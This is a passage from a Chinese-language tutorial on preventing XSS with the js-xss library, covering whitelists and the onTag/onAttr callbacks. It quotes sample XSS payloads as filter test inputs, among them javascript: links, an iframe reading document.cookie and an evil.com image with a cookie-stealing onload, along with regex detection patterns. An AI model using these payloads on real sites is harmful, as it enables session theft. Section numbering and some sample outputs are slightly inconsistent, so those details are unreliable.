      return `${name}="${value}"`;
    }
    return null; // 其他协议如 javascript: 被拒绝
  }
}

此函数可集成到 onAttr 回调中,确保所有资源引用均符合安全规范。

4.2.3 data URI中嵌入脚本的识别与阻断

Data URI 允许将资源内联编码,常用于小图标:

<img src="data:image/png;base64,iVBOR...">

但也可被滥用:

<a href="data:text/html,<script>alert(1)</script>">XSS Link</a>
<iframe src="data:text/javascript,alert(1)"></iframe>
内容类型验证:限制MIME白名单

应对策略是仅允许图像类 data URI:

function validateDataUri(tag, name, value) {
  if ((name === 'src' || name === 'href') && value.startsWith('data:')) {
    const match = /^data:([^;]+);base64,/.exec(value);
    if (!match) return null;

    const mimeType = match[1];
    const allowedTypes = ['image/png', 'image/jpeg', 'image/gif'];
    if (allowedTypes.includes(mimeType)) {
      return `${name}="${value}"`;
    }
    return null;
  }
}

该逻辑阻止非图像类型的 data URI,防止脚本注入。

4.3 特殊编码与混淆技术的解码还原

攻击者常使用编码手段绕过过滤器,期望在浏览器渲染时自动解码并执行。

4.3.1 HTML实体编码的多种变体解析

常见编码包括十进制、十六进制:

&lt;script&gt;alert(1)&lt;/script&gt;
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

某些弱过滤器无法识别这些编码形式,导致绕过。

解码预处理:统一归一化

应在解析前先进行HTML实体解码:

function decodeHTMLEntities(text) {
  const tempDiv = document.createElement('div');
  tempDiv.innerHTML = text;
  return tempDiv.textContent || '';
}

const encoded = '&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;';
const decoded = decodeHTMLEntities(encoded);
console.log(decoded); // <script>alert(1)</script>

随后再交由 xss 库处理,形成双重保障。

4.3.2 Unicode转义与Base64编码的反混淆处理

Unicode 转义 \u003cscript\u003e 或 Base64 编码需结合 JavaScript 执行上下文,但仍可能出现在动态 eval 场景中。

静态扫描 + 上下文隔离

建议禁止 eval new Function 等动态执行接口,并在服务端对可疑编码进行日志告警。

4.3.3 多层嵌套编码的递归清理策略

攻击者可能叠加多层编码:

&#x26;#x3C;script&#x26;#x3E;

& 被编码为 &#x26; ,形成双重编码。

递归解码直到稳定状态
function deepDecode(html) {
  let prev;
  do {
    prev = html;
    html = decodeHTMLEntities(html);
  } while (prev !== html);
  return html;
}

重复解码直至内容不再变化,确保彻底还原原始结构。

综上,识别与处理XSS攻击需综合运用结构化解析、属性级控制、编码归一化等多层次技术,方能构建坚固防线。

5. 自定义白名单(whitelist)配置方法

在现代Web应用安全体系中,内容过滤机制的核心之一是 白名单控制策略 。与黑名单相比,白名单通过明确允许特定标签和属性的方式,从根本上缩小了攻击面,提升了系统的可预测性与安全性。尤其在处理用户输入的富文本内容时,如评论、论坛发帖、博客编辑器输出等场景,如何科学地定制一个既能满足业务展示需求又能抵御XSS风险的HTML净化规则,成为前端与后端协同设计的关键环节。

js-xss库作为当前主流的客户端HTML净化工具,其核心设计理念正是基于“最小权限原则”构建的白名单模型。该模型默认仅允许一组经过严格验证的安全标签(如 p br strong em 等)及其有限属性存在,其余一切均被视为潜在威胁而被自动移除。然而,在实际项目中,不同业务对富文本的支持程度差异巨大——有的系统需要支持图片上传( img 标签)、链接跳转( a 标签带 href ),甚至允许简单的样式控制(如 style 中的颜色或字体)。这就要求开发者必须掌握 自定义白名单 的配置能力,以实现安全性与功能性的平衡。

本章节将深入探讨js-xss中白名单机制的设计原理,并从标签级与属性级两个维度展开详细配置实践。通过分析最小权限原则在HTML过滤中的体现,结合具体代码示例、流程图与参数说明,逐步引导开发者构建符合自身业务需求的安全过滤策略。同时,还将引入表格对比不同配置方案的风险等级与适用场景,帮助团队做出更合理的架构决策。

5.1 白名单机制的安全理论基础

白名单机制的本质是一种“拒绝默认”的安全哲学。它不试图识别所有可能的恶意行为(这在动态语言环境中几乎不可能完成),而是反向设定: 只有被明确授权的内容才能通过 。这种思想源于计算机安全领域的“最小权限原则”(Principle of Least Privilege, POLP),即任何主体(用户、进程、脚本)应仅拥有完成其任务所必需的最低限度权限。

在XSS防护语境下,这一原则转化为:只允许那些已被证明不会引发脚本执行或DOM篡改的HTML标签和属性存在,其他一概清除。例如, <script> 标签因其天然具备执行JavaScript的能力,无论是否包含恶意代码,都应被无条件禁止;而 <p> 标签则通常被认为是安全的,只要其属性不包含事件处理器或危险协议即可。

5.1.1 最小权限原则在标签过滤中的体现

最小权限原则在js-xss的实现中体现得尤为彻底。该库默认提供的白名单如下表所示:

标签 允许的属性
a href , title , target
img src , alt , title , width , height
p , br , strong , em , u , s , ol , ul , li ——
h1 ~ h6 ——
blockquote , code , pre ——

表5.1:js-xss默认白名单标签及属性

这些标签的选择并非随意,而是基于以下几点安全考量:
- 所有标签均为 非交互式元素 ,无法绑定事件;
- 没有任何标签支持内联脚本执行(如 <script> <iframe> );
- 图像标签虽支持 src ,但可通过后续校验限制协议为 http: https: data:
- 列表、段落等结构化标签仅用于排版,不具备执行上下文。

更重要的是,即使某个标签本身安全,其属性也可能引入风险。例如, <a href="javascript:alert(1)"> 虽然使用了白名单中的 a 标签,但由于 href 属性值为 javascript: 伪协议,仍可触发XSS。因此,白名单机制必须同时作用于 标签名称 属性值 两个层面,形成双重防护。

为了更清晰地理解整个过滤流程,以下是js-xss在解析HTML时的执行逻辑流程图(使用Mermaid格式表示):

graph TD
    A[接收原始HTML字符串] --> B{是否为空或无效?}
    B -- 是 --> C[返回空字符串]
    B -- 否 --> D[调用HTML解析器进行词法分析]
    D --> E[逐节点遍历DOM树]
    E --> F{当前节点是否在白名单中?}
    F -- 否 --> G[丢弃该节点及其子节点]
    F -- 是 --> H[检查该标签允许的属性集合]
    H --> I{属性名是否合法?}
    I -- 否 --> J[移除该属性]
    I -- 是 --> K{属性值是否通过onAttr回调校验?}
    K -- 否 --> J
    K -- 是 --> L[保留该属性]
    L --> M[继续处理下一个节点]
    M --> N[生成净化后的HTML]
    N --> O[返回结果]

图5.1:js-xss HTML净化流程图

该流程体现了典型的“纵深防御”结构:先判断标签合法性,再逐层校验属性名与属性值。每一层都是独立的守门人,确保最终输出的内容不会超出预设边界。

此外,最小权限原则还体现在默认行为的保守性上。例如, style 属性虽然常见于排版需求,但因支持 expression() (IE专有)和 url() 加载外部资源等高危特性,默认情况下js-xss会将其完全剥离。若需启用,则必须显式配置并附加额外校验逻辑,体现出“主动授权、被动拒绝”的安全思维。

5.1.2 允许标签集合的设计逻辑与业务适配

尽管默认白名单已覆盖大多数基础排版需求,但在复杂应用场景中往往不够用。比如企业知识库系统可能需要支持表格( table , tr , td ),CMS平台可能允许嵌入视频( iframe 受限使用),或是Markdown渲染器需要兼容某些自定义标签。

此时,开发者面临的核心问题是: 如何扩展白名单而不破坏原有安全模型?

答案在于建立一套清晰的“风险-收益”评估机制。每个新增标签都应经过如下三步审查:
1. 是否存在替代方案? 如可用CSS类代替 style 直接写入;
2. 是否引入新的执行路径? iframe 可加载第三方页面,存在点击劫持风险;
3. 能否通过属性限制降低风险? 如仅允许 iframe[src^='https://trusted.com']

以添加 iframe 为例,若盲目加入白名单而不加约束,攻击者可构造如下payload:

<iframe src="javascript:alert(document.cookie)"></iframe>

即便 javascript: 协议在多数现代浏览器中已被阻止,但仍存在兼容性漏洞或沙箱逃逸的可能性。因此,正确的做法是结合 onTag onAttr 回调函数,实施动态校验。

下面是一个安全配置 iframe 的完整示例代码:

const xss = require('xss');

const options = {
  whiteList: {
    iframe: ['src', 'width', 'height', 'frameborder', 'allowfullscreen']
  },
  onAttr: function(tag, name, value, isWhiteAttr) {
    if (tag === 'iframe' && name === 'src') {
      const url = value.trim().toLowerCase();
      if (url.startsWith('https://www.youtube.com/embed/') ||
          url.startsWith('https://player.vimeo.com/video/')) {
        return `${name}="${xss.escapeAttrValue(url)}"`;
      }
      return null; // 非授信源则过滤
    }
    return xss.getDefaultValues().onAttr(tag, name, value, isWhiteAttr);
  }
};

const input = '<iframe src="javascript:alert(1)" width="560" height="315"></iframe>';
const output = xss.filterXSS(input, options);

console.log(output); // 输出: ""

代码5.1:带源限制的iframe白名单配置

逐行逻辑分析:
- 第3–7行:在 whiteList 中声明允许 iframe 标签及其基本属性;
- 第8–17行:定义 onAttr 回调,专门拦截 iframe[src]
- 第10–14行:对 src 值进行小写归一化处理,并判断是否来自可信域名;
- 第15行:若不符合条件,返回 null 表示删除该属性(进而导致整个标签被剔除);
- 第17行:调用默认行为处理其他情况,保持原有过滤逻辑不变;
- 第21–23行:测试恶意输入,验证是否被成功阻断。

此方案既实现了功能开放,又通过正则前缀匹配实现了最小权限控制。类似思路也可应用于 img[src] 仅允许HTTPS图像、 a[target] 强制开启 noopener 等高级场景。

综上所述,白名单机制不仅是技术实现,更是安全治理的一部分。它要求开发者在追求灵活性的同时,始终保持对潜在风险的警惕,并通过精细化配置将权限控制落实到每一个标签与属性之上。

5.2 标签级白名单的定制与优化

标签级白名单是HTML净化的第一道防线,决定了哪些HTML元素可以进入后续处理流程。在js-xss中,这一配置主要通过 whiteList 对象进行管理,其结构为键值对形式:键为标签名,值为该标签允许的属性数组。

5.2.1 添加支持的HTML标签及其合法性校验

当业务需要支持新的HTML标签时,首要步骤是在 whiteList 中注册该标签及其合法属性。例如,若希望支持有序列表嵌套强调文本,可进行如下配置:

const options = {
  whiteList: {
    ol: ['class'],
    li: [],
    em: []
  }
};

上述配置允许 <ol class="special"> 这样的结构存在,但禁止任何其他属性(如 onclick )。需要注意的是,即使未显式列出危险属性,js-xss也会自动忽略它们,除非在白名单中明确定义。

为进一步增强安全性,建议配合 onIgnoreTag 回调捕获未知标签的出现,便于日志记录或报警:

const options = {
  whiteList: { /* ... */ },
  onIgnoreTag: function(tag, html, options) {
    console.warn(`非法标签被过滤: <${tag}>`);
    return ''; // 返回空表示删除
  }
};

这种方式有助于发现潜在的绕过尝试或前端误用。

5.2.2 移除不必要标签以缩小攻击面

除了添加标签外,有时也需要根据业务场景进一步收紧策略。例如,在纯文本评论系统中,连 img 标签都不应允许,以防滥用带宽或传播钓鱼图像。

此时可通过覆盖默认白名单来实现最小化配置:

const xss = require('xss');
const minimalWhiteList = {
  p: [],
  br: [],
  strong: [],
  em: [],
  u: [],
  s: []
};

const options = {
  whiteList: minimalWhiteList
};

表5.2:不同业务场景下的标签白名单推荐配置

场景 推荐标签 禁止项
用户昵称 无(纯文本) 所有HTML
评论正文 p , br , strong , em a , img , iframe
博客文章 p , img , a , h1-h6 , ul/ol/li script , iframe , style
管理后台富文本 完整支持+受限 iframe javascript: , vbscript:

该表可用于指导团队制定统一的安全规范。

5.3.3 特殊场景下富文本标签的按需开放

对于需要高度自由排版的场景(如CMS编辑器),可采用“条件性放行”策略。例如,仅对认证管理员开放 table 标签支持:

function getOptions(userRole) {
  const base = { whiteList: { p: [], br: [], strong: [], em: [] } };
  if (userRole === 'admin') {
    base.whiteList.table = ['class'];
    base.whiteList.tr = [];
    base.whiteList.td = ['colspan', 'rowspan'];
  }
  return base;
}

这样实现了基于角色的动态白名单切换,兼顾安全与灵活性。

5.3 属性级白名单的精细化控制

属性是XSS攻击的主要载体之一。许多看似安全的标签因携带危险属性而变得脆弱。因此,属性级控制是白名单配置中最关键的一环。

5.3.1 不同标签对应属性集的映射关系配置

js-xss允许为每个标签单独指定允许的属性。例如:

whiteList: {
  a: ['href', 'title', 'target'],
  img: ['src', 'alt', 'title']
}

这种细粒度控制避免了全局属性泛滥。例如, title 虽常用于提示信息,但不应出现在 div span 上以防滥用。

5.3.2 class、style、target等通用属性的安全限制

class 属性

允许 class 有助于样式复用,但应防止注入恶意类名(如 .xss-trigger ):

onAttr: function(tag, name, value) {
  if (name === 'class') {
    const allowedClasses = /^(success|error|info|warning|highlight)$/;
    return allowedClasses.test(value) ? 
      `class="${value}"` : null;
  }
}
style 属性

因支持CSS表达式,建议禁用或严格限制:

// 完全禁用
whiteList: { div: [] } // 不包含style

// 或通过onAttr校验
onAttr: function(tag, name, value) {
  if (name === 'style') {
    if (/url\(|expression\(|behavior/i.test(value)) return null;
    return `style="${value.replace(/[^a-zA-Z0-9:#%;.\s()\-]/g, '')}"`;
  }
}
target

常用于 <a target="_blank"> ,但需补充 rel="noopener" 防反向tabnabbing:

onAttr: function(tag, name, value) {
  if (tag === 'a' && name === 'target' && value === '_blank') {
    return 'target="_blank" rel="noopener"';
  }
}

5.3.3 动态属性值的正则匹配与格式校验

对于URL类属性( href , src ),应强制协议白名单:

onAttr: function(tag, name, value) {
  if (name === 'href' || name === 'src') {
    const safeProtocols = /^https?:\/\//i;
    return safeProtocols.test(value) ? `${name}="${value}"` : null;
  }
}

此类正则校验可有效阻止 javascript: , data: , vbscript: 等危险协议。

综上,属性级白名单不仅是静态声明,更应结合运行时回调实现动态决策,从而达成真正意义上的“精准防御”。

6. onTag回调函数实现标签级过滤

在现代Web应用中,用户输入的富文本内容往往不可避免地包含HTML标签。尽管使用预设白名单机制可以有效控制大多数风险,但在复杂业务场景下,仅依赖静态配置难以满足灵活的安全策略需求。 js-xss 库提供的 onTag 回调函数为开发者提供了对每个HTML标签进行精细化干预的能力,允许在解析过程中动态决定标签的处理方式——无论是删除、替换、重写还是保留。这种机制不仅增强了防御的灵活性,还支持上下文感知的内容净化逻辑。

本章将深入探讨 onTag 函数的执行原理与实际应用,从底层调用时机到高级条件判断策略,系统性地展示如何通过该钩子构建可扩展、可维护且高度安全的标签过滤体系。

6.1 onTag钩子函数的执行时机与调用栈

onTag js-xss 库中最核心的动态处理接口之一,它在HTML解析器遍历每一个标签节点时被触发。理解其执行时机和调用上下文是实现精准控制的前提。

6.1.1 标签开始与结束时的上下文信息获取

xss.parse() 方法开始解析一段HTML字符串时,内部的HTML解析引擎会逐个识别开标签(如 <div> )、闭标签(如 </div> )以及自闭合标签(如 <img /> )。每当遇到一个标签节点, onTag 回调就会被调用一次,并传入关键的上下文参数:

function onTag(tagName, html, options) {
  // 返回处理后的HTML片段或 null 表示过滤
}
  • tagName :当前标签名(小写),例如 "script" "a"
  • html :原始的完整标签字符串,如 <script>alert(1)</script> <a href="javascript:alert(1)">点击</a>
  • options :一个对象,包含当前标签的状态信息:
  • isClosing :布尔值,表示是否为闭合标签。
  • position :该标签在原文中的起始位置索引。
  • sourcePosition :源码行号与列号(若启用源映射)。
  • attrs :解析出的属性键值对数组(需手动提取)。

这一设计使得开发者可以在不完全依赖默认白名单的情况下,基于标签语义、结构位置或属性特征做出细粒度决策。

以下是一个典型的 onTag 使用示例:

const xss = require('xss');

const myXss = new xss.FilterXSS({
  onTag: function(tagName, html, options) {
    if (tagName === 'script') {
      return ''; // 直接清除所有 script 标签
    }
    if (tagName === 'a' && !options.isClosing) {
      // 对 a 标签的开始标签进行属性分析
      const hrefMatch = html.match(/href\s*=\s*["']([^"']*)["']/i);
      if (hrefMatch && hrefMatch[1].startsWith('javascript:')) {
        return '<a>'; // 剥离危险 href,但仍保留链接容器
      }
    }
    return undefined; // 继续执行默认规则
  }
});

console.log(myXss.process('<script>alert("xss")</script><a href="javascript:alert(1)">link</a>'));
// 输出: <a></a>
代码逻辑逐行解读:
行号 代码说明
1-2 引入 xss 模块并创建自定义过滤实例
4-15 定义 onTag 回调函数,接收三个参数
6-7 若标签名为 script ,直接返回空字符串,彻底移除脚本标签
9-13 针对非闭合的 <a> 标签,使用正则匹配 href 属性值
10-12 如果 href javascript: 开头,则返回无 href 的干净 <a> 标签
14 返回 undefined 表示交由后续默认策略处理,避免阻断正常流程

⚠️ 注意:返回 null 与返回 '' 不同。 null 表示完全跳过此标签及其内容;而 '' 是替换为空字符串,可能影响嵌套结构完整性。建议优先使用 null 实现更严格的过滤。

该机制特别适用于需要“先看再判”的场景,比如审计某些可疑标签但又不想立即放行。

6.1.2 节点名称、属性集合与嵌套层级的传递机制

为了实现更复杂的逻辑判断(如防止嵌套攻击或限制特定层级下的标签使用), onTag 可结合外部状态变量追踪解析深度和父级上下文。

考虑如下场景:在一个评论系统中,允许用户使用 <strong> <em> 加粗斜体,但禁止在 <pre> 内部出现任何可执行标签。此时可通过维护一个嵌套栈来记录当前所处的标签层级。

const xss = require('xss');

let tagStack = [];

const sanitizer = new xss.FilterXSS({
  onTag: function(tagName, html, options) {
    if (!options.isClosing) {
      tagStack.push(tagName);
    } else {
      const last = tagStack.pop();
      if (last !== tagName) {
        console.warn(`标签闭合异常: expected ${last}, got ${tagName}`);
      }
    }

    // 判断是否处于 <pre> 标签内部
    const inPre = tagStack.includes('pre');

    if (inPre && ['script', 'iframe', 'object'].includes(tagName)) {
      return null; // 在 pre 中禁止高危标签
    }

    return undefined; // 默认处理
  },
  onTagAttr: function(tagName, attrName, attrValue, attrs) {
    if (attrName === 'onclick') return null;
  }
});
参数说明与逻辑分析:
参数 类型 含义
tagStack Array 存储当前打开的标签名称,模拟DOM树路径
options.isClosing Boolean 区分开标签与闭标签事件
inPre Boolean 判断当前是否位于 <pre> 嵌套路径中
return null 拦截并丢弃匹配到的恶意标签

上述代码构建了一个简易的上下文感知过滤器,能够识别标签嵌套关系并在敏感区域加强防护。虽然 js-xss 本身不提供完整的AST结构,但通过 onTag 的顺序调用特性,可模拟出轻量级的解析树状态机。

此外, html 参数虽为字符串形式,但可通过正则或DOM-like解析进一步提取属性细节。例如,下面的辅助函数可用于安全地提取属性值:

function parseAttributes(html) {
  const attrRegex = /([a-zA-Z0-9\-]+)\s*=\s*["']([^"']*)["']/g;
  const attrs = {};
  let match;
  while ((match = attrRegex.exec(html))) {
    attrs[match[1].toLowerCase()] = match[2];
  }
  return attrs;
}

此方法可在 onTag 中调用,用于分析 style src 等潜在风险属性,从而实现比 onAttr 更早阶段的拦截。

6.2 自定义标签处理逻辑的编写

除了简单的标签过滤外, onTag 还可用于实现标签重写、语义转换甚至格式映射等高级功能。这在构建富文本编辑器输出管道或Markdown转HTML系统时尤为有用。

6.2.1 替换非法标签为安全占位符或删除策略

在某些内容展示场景中,直接删除非法标签可能导致用户体验断裂(如丢失排版或图片占位)。为此,可采用“降级替代”策略,将危险标签替换为视觉上等效但无害的元素。

例如,将 <iframe> 替换为 [外部嵌入内容已屏蔽] 文本提示:

const xss = require('xss');

const safeFilter = new xss.FilterXSS({
  onTag: function(tagName, html, options) {
    if (tagName === 'iframe' && !options.isClosing) {
      const src = html.match(/src\s*=\s*["']([^"']*)["']/i);
      const domain = src ? new URL(src[1]).hostname : 'unknown';
      return `<div class="embedded-content-blocked">[嵌入内容来自: ${domain}]</div>`;
    }
    return undefined;
  }
});
输出效果对比
输入: <iframe src="https://malicious.com"></iframe>
输出: <div class="embedded-content-blocked">[嵌入内容来自: malicious.com]</div>

这种方式既阻止了跨域脚本执行,又向用户传达了内容意图,提升了安全性与可用性的平衡。

6.2.2 对特定标签进行重写或属性剥离

有时业务允许使用某些标签(如 <img> ),但必须限制其行为。此时可在 onTag 中主动重写标签结构,强制添加安全属性或移除危险字段。

onTag: function(tagName, html, options) {
  if (tagName === 'img' && !options.isClosing) {
    let cleanHtml = '<img ';
    const attrs = parseAttributes(html);

    if (attrs.src && attrs.src.startsWith('http://')) {
      // 强制升级为 HTTPS
      attrs.src = attrs.src.replace(/^http:/, 'https:');
    }

    if (attrs.onload || attrs.onerror) {
      delete attrs.onload;
      delete attrs.onerror;
    }

    Object.keys(attrs).forEach(key => {
      if (['src', 'alt', 'title'].includes(key)) {
        cleanHtml += `${key}="${xss.escapeAttrValue(attrs[key])}" `;
      }
    });

    cleanHtml += '/>';
    return cleanHtml;
  }
  return undefined;
}
流程图:图像标签重写过程
graph TD
    A[收到 img 标签] --> B{是否为开标签?}
    B -- 是 --> C[解析所有属性]
    C --> D[检查 src 协议]
    D -- http --> E[替换为 https]
    D -- https --> F[保持不变]
    C --> G[移除 onload/onerror]
    G --> H[仅保留 src/alt/title]
    H --> I[重建安全 img 标签]
    I --> J[返回新 HTML]
    B -- 否 --> K[返回 undefined 交由默认处理]

该流程确保所有图片资源均通过加密连接加载,并杜绝利用事件处理器注入脚本的可能性。

6.2.3 支持Markdown到HTML转换中的标签映射

在Markdown渲染器后接XSS过滤时,常需将自定义语法映射为HTML标签。例如,将 :::note 转换为 <div class="note"> ,同时确保原生HTML不受干扰。

const markdownToHtml = (text) => {
  return text.replace(/:::note([\s\S]*?):::/g, (_, content) => {
    return `<div class="note">${content.trim()}</div>`;
  });
};

// XSS 过滤阶段
const filter = new xss.FilterXSS({
  onTag: function(tagName, html, options) {
    if (tagName === 'div' && !options.isClosing) {
      const classes = html.match(/class\s*=\s*["']([^"']*)["']/i);
      if (classes && classes[1].split(' ').includes('note')) {
        // 允许 note 类 div,但剥离其他属性
        return '<div class="note">';
      }
    }
    return undefined;
  }
});
输入 输出
:::note 重要提示! ::: <div class="note">重要提示!</div>

通过 onTag 的介入,既能保留Markdown扩展能力,又能防止用户伪造 .note 类进行样式欺骗或CSS注入。

6.3 条件性放行与动态决策机制

最强大的 onTag 应用在于实现基于上下文的动态访问控制,使同一段输入在不同角色或场景下获得差异化处理结果。

6.3.1 基于用户角色或内容类型的差异化处理

设想一个CMS系统:普通用户只能发布基本格式文本,而管理员可在文章中插入 <video> <custom-widget> 组件。此时可通过传入用户角色信息,在 onTag 中做条件判断。

function createXssFilter(userRole) {
  return new xss.FilterXSS({
    onTag: function(tagName, html, options) {
      const isAdmin = userRole === 'admin';

      if (tagName === 'video' && !isAdmin) {
        return '<span>[视频内容需审核]</span>';
      }

      if (tagName === 'custom-widget' && isAdmin) {
        const attrs = parseAttributes(html);
        return `<div data-widget="${attrs.type}" class="safe-widget"></div>`;
      }

      return undefined;
    }
  });
}

// 使用示例
const userFilter = createXssFilter('user');
const adminFilter = createXssFilter('admin');

console.log(userFilter.process('<video src="x.mp4"></video>')); 
// → <span>[视频内容需审核]</span>

console.log(adminFilter.process('<custom-widget type="chart"></custom-widget>')); 
// → <div data-widget="chart" class="safe-widget"></div>
用户角色 允许标签 处理策略
user 替换为提示文本
admin custom-widget 映射为安全组件标签

此模式实现了最小权限原则,避免因全局开放导致横向越权风险。

6.3.2 上下文感知的标签过滤策略(如评论区 vs 管理后台)

不同页面区域对富文本的需求差异巨大。评论区应极度严格,仅允许可信标签;而管理后台可适度放宽。

const CONTEXT_CONFIGS = {
  comment: { allowedTags: ['b', 'i', 'em', 'strong'] },
  article: { allowedTags: ['p', 'h1', 'img', 'video', 'ul', 'li'] },
  dashboard: { allowedTags: ['div', 'span', 'widget'] }
};

function getContextualFilter(context) {
  const config = CONTEXT_CONFIGS[context];

  return new xss.FilterXSS({
    onTag: function(tagName, html, options) {
      if (!config.allowedTags.includes(tagName)) {
        return null;
      }

      // 特殊规则:仅 article 允许远程图片
      if (context !== 'article' && tagName === 'img') {
        const attrs = parseAttributes(html);
        if (attrs.src && !attrs.src.startsWith('/')) {
          return '<img src="/placeholder.png" alt="外部图片已禁用">';
        }
      }

      return undefined;
    }
  });
}
上下文 示例调用 安全边界
评论区 getContextualFilter('comment') 仅基础排版
文章页 getContextualFilter('article') 支持多媒体
控制台 getContextualFilter('dashboard') 可扩展组件

通过将 onTag 与运行时上下文绑定,系统能够在统一接口下实现多维度安全策略切换,极大提升架构灵活性。

综上所述, onTag 不只是一个过滤工具,更是构建智能内容净化流水线的核心组件。其强大的上下文感知能力和可编程性,使其成为应对复杂XSS威胁的关键手段。

7. onAttr回调函数控制属性安全性

7.1 onAttr函数的参数结构与返回行为

onAttr js-xss 库中用于精细化控制 HTML 属性安全性的核心钩子函数。它在每一个标签的属性被解析时触发,允许开发者基于上下文对属性值进行动态判断和处理。

该函数的调用签名如下:

function onAttr(tagName, attrName, attrValue, isWhiteAttr) {
  // 返回 null 表示过滤该属性,返回字符串则保留
}

参数说明:

参数名 类型 描述
tagName String 当前属性所属的 HTML 标签名(如 'a' , 'img'
attrName String 属性名称(如 'href' , 'src' , 'onclick'
attrValue String 属性原始值(未转义)
isWhiteAttr Boolean 是否属于白名单中的合法属性

根据返回值的不同, js-xss 会决定是否保留此属性:
- 返回 null undefined 删除该属性
- 返回字符串: 保留并设置为此值

示例:拦截所有 onclick 属性
const xss = require('xss');

const options = {
  onAttr: function(tagName, attrName, attrValue, isWhiteAttr) {
    if (attrName === 'onclick') {
      console.warn(`[XSS] Blocked onclick in ${tagName}:`, attrValue);
      return null; // 过滤掉
    }
    // 其他属性交由默认策略处理
    if (isWhiteAttr) {
      return `${attrName}="${xss.escapeAttrValue(attrValue)}"`;
    }
  }
};

const dirty = '<a href="#" onclick="alert(1)">点击我</a>';
const clean = xss.filterXSS(dirty, options);
console.log(clean); // 输出: <a href="#">点击我</a>

上述代码展示了如何通过 onAttr 阻止潜在危险事件处理器的注入,并记录日志以供审计。

7.2 关键属性的安全加固实践

某些 HTML 属性天生具备执行脚本的能力,必须严格校验其内容。以下是三个典型高危属性的防御策略。

7.2.1 href属性中javascript:协议的检测与清除

<a href="javascript:alert(1)"> 是常见的反射型 XSS 载体。即使 <a> 在白名单内,也需限制其协议类型。

function validateHref(tagName, attrName, attrValue) {
  if (attrName === 'href') {
    const lowerVal = attrValue.trim().toLowerCase();
    if (lowerVal.startsWith('javascript:') || 
        lowerVal.startsWith('data:text/html')) {
      console.warn(`[XSS] Dangerous href blocked: ${attrValue}`);
      return null;
    }
    // 只允许 http(s) 和相对路径
    if (!/^(https?:)?\/\/|\/|#/.test(lowerVal)) {
      return null;
    }
    return `href="${xss.escapeAttrValue(attrValue)}"`;
  }
}

7.2.2 src属性对跨域资源加载的限制策略

外部资源可能引入恶意内容。例如 <img src=“http://evil.com/xss.gif” onload=“stealCookie()”>

可通过正则或域名白名单机制限制:

const ALLOWED_DOMAINS = new Set(['cdn.example.com', 'images.example.net']);

function validateSrc(tagName, attrName, attrValue) {
  if (attrName === 'src' && ['img', 'iframe'].includes(tagName)) {
    try {
      const url = new URL(attrValue, 'https://default-origin.com');
      if (!ALLOWED_DOMAINS.has(url.hostname)) {
        console.warn(`[XSS] Blocked external src: ${attrValue}`);
        return null;
      }
    } catch (e) {
      return null; // 无效URL直接拒绝
    }
  }
  return `${attrName}="${xss.escapeAttrValue(attrValue)}"`;
}

7.2.3 style属性内expression()和url()的禁用处理

CSS 中的 expression() (IE)或 url(javascript:...) 可能触发执行:

function validateStyle(tagName, attrName, attrValue) {
  if (attrName === 'style') {
    const unsafePatterns = [
      /expression/i,
      /url\s*\(\s*['"]?\s*javascript:/i,
      /background-image\s*:\s*url\s*\(\s*javascript:/i
    ];

    for (let pattern of unsafePatterns) {
      if (pattern.test(attrValue)) {
        console.warn(`[XSS] Unsafe style detected:`, attrValue);
        return null;
      }
    }

    // 可进一步使用 css-filter 工具做深度解析
    return `style="${xss.escapeAttrValue(attrValue)}"`;
  }
}

7.3 用户输入内容的安全过滤流程

完整的安全过滤应是一个多阶段管道,结合 onTag onAttr 实现纵深防御。

7.3.1 多阶段过滤管道的构建

graph TD
    A[用户输入] --> B{预处理}
    B --> C[HTML解析器]
    C --> D[onTag 回调]
    D --> E[onAttr 回调]
    E --> F[输出编码]
    F --> G[净化后HTML]
    G --> H[前端渲染或存入数据库]

每一步均可插入自定义逻辑,如预处理可统一转小写、解码实体等。

7.3.2 日志记录与异常输入的审计追踪机制

建议将可疑输入上报至 SIEM 系统:

function onAttrWithLogging(tagName, attrName, attrValue) {
  const suspicious = [
    /javascript:/i,
    /vbscript:/i,
    /on\w+=/i,
    /data:text\/html/i
  ];

  for (let regex of suspicious) {
    if (regex.test(attrValue)) {
      logSuspiciousInput({
        type: 'xss_attempt',
        tagName,
        attrName,
        attrValue,
        stack: new Error().stack,
        timestamp: Date.now(),
        ip: getClientIP(), // 来自请求上下文
      });
      return null;
    }
  }
}

7.3.3 与后端API交互前的最终净化验证

即便前端已过滤,服务端仍需再次校验:

// 前端提交前二次净化
async function submitContent(content) {
  const sanitized = xss.filterXSS(content, secureOptions);
  const response = await fetch('/api/comments', {
    method: 'POST',
    body: JSON.stringify({ content: sanitized }),
    headers: { 'Content-Type': 'application/json' }
  });

  if (!response.ok) throw new Error('Submission failed');
}

7.4 js-xss在评论、论坛等动态场景中的应用实践

7.4.1 富文本编辑器输出内容的实时净化方案

集成 Quill TinyMCE 后,在提交前调用 sanitize

const editor = new Quill('#editor');

function getSafeHTML() {
  const html = editor.root.innerHTML;
  return xss.filterXSS(html, {
    onAttr: customOnAttrHandler
  });
}

7.4.2 用户昵称、签名、头像ALT文本的轻量过滤策略

这些字段通常不允许 HTML,但可能误含 < >

function sanitizeInlineText(input) {
  return xss.filterXSS(xss.escapeHtml(input), {
    stripIgnoreTag: true,
    allowComment: false
  });
}

// 示例数据表(不少于10行)
| 输入内容 | 净化后结果 | 是否包含恶意代码 |
|--------|-----------|----------------|
| `<b>张三</b>` | 张三 | 是 |
| `><script>alert(1)</script>` | &gt;&lt;alert(1)&lt;/script&gt; | 是 |
| `hello@domain.com` | hello@domain.com | 否 |
| `"><img src=x onerror=prompt(1)>` | "&gt;<img src="x"> | 是 |
| `user<script>` | user | 是 |
| `admin' onfocus=alert(1)//` | admin' onfocus=alert(1)// | 是 |
| `https://good.com` | https://good.com | 否 |
| `javascript:alert("xss")` | javascript:alert("xss") | 是 |
| `Nick &copy; 2025` | Nick &amp;copy; 2025 | 否 |
| `<marquee>滚动广告</marquee>` | 滚动广告 | 是 |
| `data:image/svg+xml;base64,...` | (空) | 是 |

### 7.4.3 高并发环境下性能优化与缓存机制设计

对于高频访问的内容(如热门帖子),可缓存净化结果:

```javascript
const LRU = require('lru-cache');
const cache = new LRU({ max: 10000, ttl: 1000 * 60 * 10 }); // 10分钟

function getCachedSanitized(dirty) {
  const key = `xss:${hash(dirty)}`;
  let result = cache.get(key);
  if (!result) {
    result = xss.filterXSS(dirty, secureOptions);
    cache.set(key, result);
  }
  return result;
}

本文还有配套的精品资源,点击获取 menu-r.4af5f7ec.gif

